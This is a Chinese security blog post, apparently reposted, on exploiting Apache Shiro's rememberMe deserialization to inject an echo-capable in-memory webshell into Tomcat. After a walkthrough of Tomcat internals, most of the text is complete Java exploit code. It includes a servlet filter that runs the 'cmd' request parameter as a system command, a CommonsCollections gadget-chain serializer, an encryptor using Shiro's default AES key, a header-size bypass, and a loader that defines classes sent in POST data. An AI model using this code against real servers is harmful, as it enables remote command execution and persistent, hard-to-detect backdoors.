文章首发于先知社区:Shiro回显内存马注入
前言
接上篇[Java安全]—Tomcat反序列化注入回显内存马_,在上篇提到师傅们找到了一种Tomcat注入回显内存马的方法, 但他其实有个不足之处:由于shiro中自定义了一个filter,因此无法在shiro中注入内存马。
所以在后边师傅们又找到了一个基于全局存储的新思路,可以在除tomcat 7以外的其他版本中使用。
流程分析
寻找response
思路仍然为寻找 tomcat 中哪个类会存储 Request 和 Response
在AbstractProcessor类中发现Request 和 Response,并且是final的,这就意味着一旦赋值后便不会被更改
所以下面就了解下如何对这两个属性进行的赋值
流程分析
首先在org.apache.coyote.AbstractProtocol#process 中会调用 createProcessor 方法创建Processor,Processo是主要负责请求的预处理
由于AbstractHttp11Protocol继承AbstractProtocol,所以会调用的AbstractProtocol的createProcessor(),之后会调用Http11Processor
的构造方法
由于 Http11Processor
的父类是 AbstractProcessor
所以这里会调用父类的构造函数
在构造器中,会初始化 Request 和 Response 然后赋值给 AbstractProcessor
的 request 和 response 属性
至此我们的 request 和 response 就初始化完毕了,所以现在我们只要获取了 Http11Processor ,那么我们就能获取到我们的 Request 和 Response
获取Http11Processor
Http11Processor在通过createProcessor()创建的Processor中,因此下面的目标就是获取Processor
在createProcessor()下面,通过register方法对其进行了注册
跟进发现会从 processor 中获取到 RequestInfo类型的请求信息 rp,然后调用 setGlobalProcessor 将我们的 rp 存入子类ConnectionHandler 的 global 属性中
所以现在我们获取了 AbstractProtocol$ConnectoinHandler 之后我们就可以利用反射获取到其 global 属性,然后再利用反射获取 gloabl 中的 processors 属性,然后通过遍历 processors 我们可以获取到我们需要的 Request 和 Response
获取AbstractProtocol
下面就是寻找存储AbstractProtocol
类的地方,或者其子类也可以
AbstractProtocol 是 ProtocolHandler 接口的实现类,所以如果能获取ProtocolHandler类也可以,在Connector类中发现了该类型的属性,所以只需要获取Connector类,就可以通过反射获取该属性
现在的调用链为:
Connector ->
AbstractProtocol$ConnectoinHandler ->
global ->
Processor ->
Request ->
Response
获取Connector
在 Tomcat 启动的过程中,将会调用setConnector
方法将connector放在service中去,也即是StandardService
类对象,所以可从 StandardService 中获取到 Connector
获取WebappClassLoader
可以通过WebappClassLoaderBase 来获取 Tomcat 上下文环境,所以最终的调用链为
WebappClassLoader ->
StandardService ->
Connector ->
AbstractProtocol$ConnectoinHandler ->
global ->
Processor ->
Request ->
Response
POC:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
public class TomcatMemShellInject extends AbstractTranslet implements Filter{
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "evilFilter";
static {
try {
Class c = Class.forName("org.apache.catalina.core.StandardContext");
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletContext servletContext = standardContext.getServletContext();
Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(filterName) == null){
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
Filter MemShell = new TomcatMemShellInject();
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
.addFilter(filterName, MemShell);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{filterUrlPattern});
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
if (standardContext != null){
Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
Method m = c.getMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}
} catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
aes加密
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.catalina.startup.Tomcat;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import org.apache.coyote.http11.Http11Processor;
public class AESEncode {
public static void main(String[] args) throws Exception {
String tomcatHeader = "./tomcatHeader.ser";
String tomcatInject = "./tomcatInject.ser";
String tomcatEcho = "./TomcatEcho.ser";
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService aes = new AesCipherService();
ByteSource ciphertext = aes.encrypt(getBytes(tomcatHeader), key);
System.out.printf(ciphertext.toString());
}
public static byte[] getBytes(String path) throws Exception{
InputStream inputStream = new FileInputStream(path);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
}
CC11
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
@SuppressWarnings("all")
public class CC11Template {
public static void main(String[] args) throws Exception {
// 写入.class 文件
// 将我的恶意类转成字节码,并且反射设置 bytecodes
byte[] classBytes = getBytes();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);
f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");
f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);
// 利用反射调用 templates 中的 newTransformer 方法
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
// 我们要设置 HashSet 的 map 为我们的 HashMap
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);
// 在 invoke 之后,
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./tomcatHeader.ser"));
// ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./tomcatInject.ser"));
outputStream.writeObject(hashset);
outputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
public static byte[] getBytes() throws IOException {
InputStream inputStream = new FileInputStream(new File("./src/test/java/TomcatHeaderSize.class"));
// InputStream inputStream = new FileInputStream(new File("./src/test/java/TomcatMemShellInject.class"));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(bytes);
return bytes;
}
}
Header 长度限制绕过
通过CC11将POC的class文件进行序列化后,将序列化文件进行aes加密,传入rememberMe字段,之后会报错Header求情头过大:
1、反射修改maxHeaderSize
POC:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
@SuppressWarnings("all")
public class TomcatHeaderSize extends AbstractTranslet {
static {
try {
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
contextField.setAccessible(true);
headerSizeField.setAccessible(true);
serviceField.setAccessible(true);
requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (4 == connectors[i].getScheme().length()) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
// org.apache.coyote.AbstractProtocol$ConnectionHandler
if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
// 10000 为修改后的 headersize
headerSizeField.set(tempRequest.getInputBuffer(),10000);
}
}
}
// 10000 为修改后的 headersize
((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
}
}
}
} catch (Exception e) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
同样将文件进行序列化后,进行aes加密传入rememberMe
之后再将内存马注入
成功执行命令
2、自定义ClassLoader加载Body数据
remember中只传入自定义的ClassLoader来获取传入的POST数据
POC:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class MyLoader extends AbstractTranslet {
static {
try {
String pass = "loader";
System.out.println("Loader load.....");
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.Context context = webappClassLoaderBase.getResources().getContext();
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(context);
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
serviceField.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (connectors[i].getScheme().contains("http")) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null);
getHandlerMethod.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler connectoinHandler = (org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler, null);
java.lang.reflect.Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(connectoinHandler);
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
processorsField.setAccessible(true);
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
//通过QueryString筛选
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.RequestInfo requestInfo = (org.apache.coyote.RequestInfo) list.get(k);
if (requestInfo.getCurrentUri().contains("demo")){
System.out.println("success");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
requestField.setAccessible(true);
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
org.apache.catalina.connector.Response response = request.getResponse();
javax.servlet.http.HttpSession session = request.getSession();
String classData = request.getParameter("classData");
System.out.println(classData);
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyLoader.class.getClassLoader(), classBytes, 0, classBytes.length);
Class.forName(cc.getName());
break;
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
请求时url必须加上demo才回加载
后记
这种注入方式其实还有些缺陷:
- 不适用于Tomcat7
- 需要有可利用反序列化的依赖,如:CommonsCollections等
但是后边通过师傅们的研究,找到了适用于tomcat7的原生依赖利用链,这个以后再分析。
参考
利用shiro反序列化注入冰蝎内存马 - night_ovo - 博客园 (cnblogs.com)
基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (qq.com)文章来源:https://www.toymoban.com/news/detail-462612.html
KpLi0rn/ShiroVulnEnv: Shiro内存马注入环境 (github.com)文章来源地址https://www.toymoban.com/news/detail-462612.html
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